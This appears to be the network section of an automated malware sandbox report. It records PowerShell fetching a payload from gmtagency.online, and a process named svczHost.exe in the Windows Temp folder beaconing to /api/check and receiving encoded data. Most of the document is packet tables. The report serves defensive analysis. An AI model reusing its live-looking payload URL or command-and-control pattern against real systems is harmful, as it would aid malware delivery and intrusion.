Nov 15, 2024 01:01:30.506556034 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506594896 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.506602049 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506735086 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506747007 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506783009 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.506789923 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506880999 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506892920 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506920099 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.506927967 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506939888 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.507129908 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507142067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507169962 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.507177114 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507191896 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.507261992 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507278919 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507309914 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.507327080 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507338047 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.507417917 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507440090 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507462978 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.507469893 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507487059 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.507586956 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507600069 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507622957 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.507632017 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507644892 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.507738113 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507752895 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507778883 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.507787943 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507798910 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.507942915 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507955074 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.507992983 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.507999897 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508012056 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.508080959 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508091927 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508126020 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.508132935 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508162022 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.508225918 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508239031 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508285999 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.508294106 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508393049 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508404970 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508445978 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.508451939 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508529902 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508542061 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508569002 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508578062 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.508588076 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508599997 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.508625984 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.508632898 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.508820057 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508868933 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.508873940 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508887053 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.508920908 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:32.339171886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:32.355376005 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:33.381676912 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:35.927711964 CET	49874	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:35.927814007 CET	443	49874	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:35.927911043 CET	49874	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:35.928163052 CET	49874	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:35.928193092 CET	443	49874	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:36.552165031 CET	443	49874	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:36.553152084 CET	49874	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:36.553174973 CET	443	49874	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:36.553214073 CET	49874	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:36.553221941 CET	443	49874	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:36.983243942 CET	443	49874	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:36.983452082 CET	443	49874	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:36.983525991 CET	49874	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:36.984632015 CET	49874	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:37.017860889 CET	49875	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:37.017951012 CET	443	49875	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:37.018052101 CET	49875	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:37.018271923 CET	49875	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:37.018312931 CET	443	49875	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:37.670396090 CET	443	49875	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:37.671972036 CET	49875	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:37.672053099 CET	443	49875	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:37.672132015 CET	49875	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:37.672153950 CET	443	49875	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:38.382925987 CET	443	49875	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:38.383028030 CET	443	49875	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:38.383114100 CET	49875	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:38.384325027 CET	49875	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:40.772885084 CET	49877	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:40.772921085 CET	443	49877	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:40.772985935 CET	49877	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:40.773216009 CET	49877	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:40.773235083 CET	443	49877	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:41.419935942 CET	443	49877	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:41.426353931 CET	49877	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:41.426364899 CET	443	49877	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:41.426515102 CET	49877	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:41.426522017 CET	443	49877	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:41.459364891 CET	49878	80	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:41.464235067 CET	80	49878	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:41.464312077 CET	49878	80	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:41.464457989 CET	49878	80	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:41.469285011 CET	80	49878	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:42.100202084 CET	443	49877	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:42.100292921 CET	443	49877	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:42.100373983 CET	49877	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:42.100621939 CET	49877	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:42.372975111 CET	80	49878	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:42.373039961 CET	80	49878	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:42.373070002 CET	80	49878	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:42.373126984 CET	49878	80	192.168.2.5	188.114.97.3
Nov 15, 2024 01:02:56.312730074 CET	49878	80	192.168.2.5	188.114.97.3
Nov 15, 2024 01:02:56.318907976 CET	80	49878	188.114.97.3	192.168.2.5
Nov 15, 2024 01:02:56.322851896 CET	49878	80	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:10.880809069 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:10.880912066 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:10.881740093 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:10.912986040 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:10.913017035 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:11.536040068 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:11.536150932 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:11.539990902 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:11.540004969 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:11.540342093 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:11.559278011 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:11.599342108 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.266458035 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.266520977 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.266566038 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.266568899 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:12.266596079 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.266638041 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.266645908 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:12.266653061 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.266711950 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:12.495723963 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.495798111 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.495831966 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.495893955 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.495939016 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:12.495939016 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:12.495963097 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.496009111 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:12.496673107 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.546824932 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:12.724165916 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.724215984 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.724242926 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.724272013 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.724302053 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.724334955 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:12.724400043 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.724452972 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:12.725157976 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.725223064 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.725346088 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:12.725358009 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.725414991 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:12.725457907 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:12.725481033 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.108494997 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.108702898 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.108760118 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.108776093 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.108853102 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.108896971 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.108901978 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.109004021 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.109052896 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.109056950 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.109153986 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.109237909 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.109253883 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.109260082 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.109302998 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.109327078 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.109474897 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.109522104 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.109527111 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.109633923 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.109678030 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.109682083 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.109709978 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.109769106 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.109772921 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.109812975 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.189097881 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.189163923 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.189264059 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.189315081 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.189344883 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.189399958 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.190361977 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.190413952 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.190450907 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.190502882 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.191041946 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.191097021 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.191687107 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.191741943 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.421000957 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.421062946 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.421154022 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.421202898 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.421518087 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.421575069 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.421627045 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.421720028 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.422584057 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.422641993 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.422710896 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.422769070 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.423590899 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.423656940 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.423657894 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.423676968 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.423700094 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.423712015 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.423717022 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.423742056 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.423793077 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.655824900 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.655873060 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.655908108 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.655932903 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.655951023 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.655985117 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.656398058 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.656430006 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.656575918 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.656575918 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.656586885 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.656699896 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.657026052 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.657054901 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.657094955 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.657103062 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.657124996 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.657155991 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.657908916 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.657938004 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.657959938 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.657968044 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.657990932 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.658018112 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.658723116 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.658755064 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.658775091 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.658780098 CET	443	49880	188.114.97.3	192.168.2.5
Nov 15, 2024 01:03:13.658813000 CET	49880	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:03:13.658833027 CET	49880	443	192.168.2.5	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 01:00:45.533919096 CET	57907	53	192.168.2.5	1.1.1.1
Nov 15, 2024 01:00:46.194292068 CET	53	57907	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 15, 2024 01:00:45.533919096 CET	192.168.2.5	1.1.1.1	0xb17	Standard query (0)	gmtagency.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 15, 2024 01:00:46.194292068 CET	1.1.1.1	192.168.2.5	0xb17	No error (0)	gmtagency.online		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 01:00:46.194292068 CET	1.1.1.1	192.168.2.5	0xb17	No error (0)	gmtagency.online		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 01:01:20.081598043 CET	1.1.1.1	192.168.2.5	0x4a5e	No error (0)	templatesmetadata.office.net	templatesmetadata.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

gmtagency.online

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49878	188.114.97.3	80	6164	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 01:01:41.464457989 CET	75	OUT	GET /api/check HTTP/1.1 Host: gmtagency.online Connection: Keep-Alive
Nov 15, 2024 01:01:42.372975111 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:01:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store,no-cache Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=axHHBAm9wzNBAovRdktkhgUSYPsHV8VNMDekA9pYDNHYCAo9Ywxqx%2Fo3r8bVwkfM6darGEfagrzfM1l5%2FWVObwwsHvvSikQmVGzNzygqiEby3VHQ8kDA9UkTZ6CbxPCRxHVMZCQM4K5r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=16519&sent=66264&recv=33030&lost=0&retrans=0&sent_bytes=92898812&recv_bytes=1489006&delivery_rate=47676659&cwnd=286&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 vary: accept-encoding Server: cloudflare CF-RAY: 8e2af7dd9d862ca8-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1078&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=75&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 36 33 0d 0a 31 37 33 31 36 32 38 39 30 32 7c 72 77 4d 48 68 4a 6a 48 51 69 6c 48 61 39 7a 6d 79 54 42 45 37 72 4e 44 50 61 36 31 6b 39 57 64 6e 6b 35 65 57 53 69 63 77 74 34 49 39 63 48 2b 35 6b 66 47 38 41 74 42 32 6d 49 53 55 54 6f 33 6d 79 4f 36 32 63 62 70 4a 30 73 6e 39 4d 47 75 4e 6c 41 52 5a 66 32 57 72 4c 4e 57 4a 63 39 77 42 61 30 52 73 36 71 2f 4e 33 43 38 47 4b 2b 2f 52 70 68 44 36 34 4e 38 6d 71 42 41 48 31 43 6f 35 35 30 72 57 56 65 65 6a 76 77 78 31 51 72 42 31 36 6e 4e 5a 6f 4f 57 33 4c 76 37 4b 79 4f 34 47 45 73 6d 37 35 62 6e 5a 38 30 4d 74 69 Data Ascii: 1631731628902\|rwMHhJjHQilHa9zmyTBE7rNDPa61k9Wdnk5eWSicwt4I9cH+5kfG8AtB2mISUTo3myO62cbpJ0sn9MGuNlARZf2WrLNWJc9wBa0Rs6q/N3C8GK+/RphD64N8mqBAH1Co550rWVeejvwx1QrB16nNZoOW3Lv7KyO4GEsm75bnZ80Mti
Nov 15, 2024 01:01:42.373039961 CET	172	IN	Data Raw: 66 66 66 4f 50 31 5a 32 79 50 6d 2b 5a 68 67 67 62 6a 33 57 61 6f 75 47 65 47 77 70 79 31 58 58 63 5a 2b 66 73 73 50 2b 72 33 6e 63 76 6e 43 63 41 6d 58 58 65 69 4e 65 76 6a 33 7a 47 73 58 7a 79 4e 63 43 4d 41 31 79 2f 65 6b 48 79 38 2b 47 77 43 Data Ascii: fffOP1Z2yPm+Zhggbj3WaouGeGwpy1XXcZ+fssP+r3ncvnCcAmXXeiNevj3zGsXzyNcCMA1y/ekHy8+GwCyqIXrtnH6Nuhogp09HJi2Qm6GUMZPwLW7tQky8/W2OlnZpmW8vq56LMpSOjPfegD29SgUp7jq7GUPU6W1H3O9g==
Nov 15, 2024 01:01:42.373070002 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.97.3	443	6204	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:00:46 UTC	167	OUT	GET /0Dkz7n HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online Connection: Keep-Alive
2024-11-15 00:00:47 UTC	991	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:00:47 GMT Content-Type: application/octet-stream Content-Length: 6441 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v9CGCuU8TuIPETKSMpAzTyDX7v7Zh4%2FayuBerAGrTAi3ryUr%2Bd63vYwOuuLMRXJ4NakqcqwXUvMFCOwxkrrGE52T%2Bp%2BwCrTxLCjzTnWmp57zdj6irpdwgUGSm6sh04Z8RIfKBr8K6Q2w"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24532&sent=41486&recv=21660&lost=0&retrans=35&sent_bytes=57342060&recv_bytes=1387958&delivery_rate=49991580&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af685cc1f51f7-DEN server-timing: cfL4;desc="?proto=TCP&rtt=18794&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=781&delivery_rate=154083&cwnd=32&unsent_bytes=0&cid=6f1cf046ed60e48a&ts=686&x=0"
